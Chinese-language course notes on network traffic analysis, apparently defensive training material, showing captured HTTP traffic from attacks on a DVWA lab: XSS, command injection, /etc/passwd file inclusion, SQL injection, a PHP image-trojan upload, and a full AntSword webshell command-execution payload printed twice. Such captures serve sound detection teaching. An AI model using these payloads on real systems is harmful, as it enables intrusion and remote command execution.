流量分析

万里

花名：万里

曾就职于奇安信集团，担任高级渗透测试工程师，从事网络安全工作7年，参与四届全国HW行动、北京冬奥重保等活动，担任CISP-PTE、CISP-IRE出题及监考，为CNCERT、SRC平台等提交数百漏洞。专注研究前沿网络安全技术，具有丰富的实战经验。擅长技术：Web渗透、内网渗透、代码审计、Kali、安全工具开发等。

中华人民共和国网络安全法

第二十七条

任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动；不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具；明知他人从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。

课程内容仅用于以防御为目的的教学演示
请勿用于其他用途，否则后果自负

1、《中华人民共和国刑法》的相关规定：

第二百八十五条规定，非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪;提供侵入、非法控制计算机信息系统程序、工具罪是指，违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金;情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。

提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。

单位犯前三款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人员，依照各该款的规定处罚。

*

第一条

非法获取计算机信息系统数据或者非法控制计算机信息系统，具有下列情形之一的，应当认定为刑法第二百八十五条第二款规定的“情节严重”：

（一）获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的；

（二）获取第（一）项以外的身份认证信息五百组以上的；

（三）非法控制计算机信息系统二十台以上的；

（四）违法所得五千元以上或者造成经济损失一万元以上的；

（五）其他情节严重的情形。

实施前款规定行为，具有下列情形之一的，应当认定为刑法第二百八十五条第二款规定的“情节特别严重”：

（一）数量或者数额达到前款第（一）项至第（四）项规定标准五倍以上的；

（二）其他情节特别严重的情形。

明知是他人非法控制的计算机信息系统，而对该计算机信息系统的控制权加以利用的，依照前两款的规定定罪处罚。

*

目录

XSS流量

https://xss.by/cheatsheets/all.txt

```
GET /dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E HTTP/1.1
Host: 192.168.41.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.41.138/dvwa/vulnerabilities/xss_r/
Cookie: security=low; PHPSESSID=g7htlnuq24vrkq50e876h9j9h1
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Sun, 10 Apr 2022 10:12:54 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 4992
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
```

命令和代码执行流量

命令执行，执行的是命令

代码执行，执行的是代码

```
POST /dvwa/vulnerabilities/exec/ HTTP/1.1
Host: 192.168.41.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
Origin: http://192.168.41.138
Connection: keep-alive
Referer: http://192.168.41.138/dvwa/vulnerabilities/exec/
Cookie: security=low; PHPSESSID=g7htlnuq24vrkq50e876h9j9h1
Upgrade-Insecure-Requests: 1

ip=ipcofnig%7Cwhoami&Submit=SubmitHTTP/1.1 200 OK
Date: Sun, 10 Apr 2022 10:14:35 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Tue, 23 Jun 2009 12:00:00 GMT
```

文件包含流量

包含关键代码，图片木马。查看相应包是否成功

```
GET /dvwa/vulnerabilities/fi/?page=/etc/passwd HTTP/1.1
Host: 192.168.41.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: security=low; PHPSESSID=g7htlnuq24vrkq50e876h9j9h1
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Sun, 10 Apr 2022 10:19:05 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
```

SQL注入流量

含有SQL注入语句

```
GET /dvwa/vulnerabilities/sqli/?id=-1%27+or+1%3D1+--+%2B&Submit=Submit HTTP/1.1
Host: 192.168.41.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.41.138/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Cookie: security=low; PHPSESSID=g7htlnuq24vrkq50e876h9j9h1
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Date: Sun, 10 Apr 2022 10:21:28 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Content-Length: 5475
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
```

文件上传

含有恶意代码

```
POST /dvwa/vulnerabilities/upload/ HTTP/1.1
Host: 192.168.41.138
Content-Length: 616
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.41.138
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHB1QcS3BAHYYnCB2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.41.138/dvwa/vulnerabilities/upload/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:  security=low; PHPSESSID=tr32evjr5a2d4b4baetsogdq53
Connection: close

------WebKitFormBoundaryHB1QcS3BAHYYnCB2
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryHB1QcS3BAHYYnCB2
Content-Disposition: form-data; name="uploaded"; filename="1.php"
Content-Type: image/jpeg

.....JFIF.....x.x.....C.......................................          .          ..
..


.....    <?php phpinfo(); ?>
------WebKitFormBoundaryHB1QcS3BAHYYnCB2
Content-Disposition: form-data; name="Upload"

Upload
------WebKitFormBoundaryHB1QcS3BAHYYnCB2
Content-Disposition: form-data; name="user_token"

becc6c19a88b9f84c0a63ac7da67ab29
------WebKitFormBoundaryHB1QcS3BAHYYnCB2--
```

解析漏洞流量

```
GET /1.jpg/ssss.php HTTP/1.1
Host: 192.168.41.138
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=tr32evjr5a2d4b4baetsogdq53
Connection: close

HTTP/1.1 404 Not Found
Date: Sun, 10 Apr 2022 10:28:36 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
Content-Length: 212
Connection: close
Content-Type: text/html; charset=iso-8859-1
```

*

```
POST /1.php HTTP/1.1
Host: 192.168.41.138:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1793
Connection: close

0xae69bbb8ff16f=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImaXBjb25maWcmZWNobyBbU10mY2QmZWNobyBbRV0%3D&0xfb34ee4fc5c13=Y21k&cmd=%40ini_set(%22displa
y_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()
%3Bob_end_clean()%3Becho%20%22bf4a8%22%3Becho%20%40asenc(%24output)%3Becho%20%2222e6b%22%3B%7Dob_start()
%3Btry%7B%24p%3Dbase64_decode(%24_POST%5B%220xfb34ee4fc5c13%22%5D)%3B%24s%3Dbase64_decode(%24_POST%5B%220xae69bbb8ff16f%22%5D)
%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-
c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3B%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)
%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()
%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))
%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)
%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))
%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C%202048))%3B%7D%40pclose(%24fp)
%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.
%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-
%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Sun, 10 Apr 2022 10:38:20 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 523
Connection: close
Content-Type: text/html

bf4a8
Windows IP ....


............ ........ 2:

   .......... DNS .... . . . . . . . : localdomain
   ........ IPv6 ..... . . . . . . . : fe80::6d68:72f1:5669:f438%13
   IPv4 .... . . . . . . . . . . . . : 192.168.41.138
   ........  . . . . . . . . . . . . : 255.255.255.0
   ......... . . . . . . . . . . . . : 192.168.41.2

..........  isatap.localdomain:

   ........  . . . . . . . . . . . . : ..........
   .......... DNS .... . . . . . . . : localdomain
[S]
C:\phpStudy\PHPTutorial\WWW
[E]
22e6b
```

Webshell通信


```
POST /1.php HTTP/1.1
Host: 192.168.41.138:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1793
Connection: close

0xae69bbb8ff16f=Y2QgL2QgIkM6XFxwaHBTdHVkeVxcUEhQVHV0b3JpYWxcXFdXVyImaXBjb25maWcmZWNobyBbU10mY2QmZWNobyBbRV0%3D&0xfb34ee4fc5c13=Y21k&cmd=%40ini_set(%22displa
y_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()
%3Bob_end_clean()%3Becho%20%22bf4a8%22%3Becho%20%40asenc(%24output)%3Becho%20%2222e6b%22%3B%7Dob_start()
%3Btry%7B%24p%3Dbase64_decode(%24_POST%5B%220xfb34ee4fc5c13%22%5D)%3B%24s%3Dbase64_decode(%24_POST%5B%220xae69bbb8ff16f%22%5D)
%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-
c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3B%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)
%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()
%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))
%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)
%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))
%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C%202048))%3B%7D%40pclose(%24fp)
%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.
%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-
%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Sun, 10 Apr 2022 10:38:20 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 523
Connection: close
Content-Type: text/html

bf4a8
Windows IP ....


............ ........ 2:

   .......... DNS .... . . . . . . . : localdomain
   ........ IPv6 ..... . . . . . . . : fe80::6d68:72f1:5669:f438%13
   IPv4 .... . . . . . . . . . . . . : 192.168.41.138
   ........  . . . . . . . . . . . . : 255.255.255.0
   ......... . . . . . . . . . . . . : 192.168.41.2

.......... isatap.localdomain:

   ........  . . . . . . . . . . . . : ..........
   .......... DNS .... . . . . . . . : localdomain
[S]
C:\phpStudy\PHPTutorial\WWW
[E]
22e6b
```

*